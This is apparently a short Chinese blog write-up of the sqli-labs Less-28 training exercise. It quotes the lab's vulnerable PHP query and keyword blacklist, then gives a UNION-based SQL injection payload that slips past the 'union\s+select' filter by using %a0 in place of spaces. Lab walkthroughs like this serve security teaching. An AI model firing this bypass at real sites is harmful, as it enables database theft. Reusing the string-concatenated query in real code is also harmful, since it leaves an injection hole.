Sqli-labs Less-28 绕过union\s+select过滤 union注入

关键代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

正则表达式'/union\s+select/i'中,\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写。

所以我们可以将union 和 select中间的空格使用%a替换,我们直接给出一个payload:

http://127.0.0.1/sql/Less-28/?id=100')union%a0select%a01,database(),3||('1

 

posted @ 2020-04-09 22:15  zhengna  阅读(681)  评论(0编辑  收藏  举报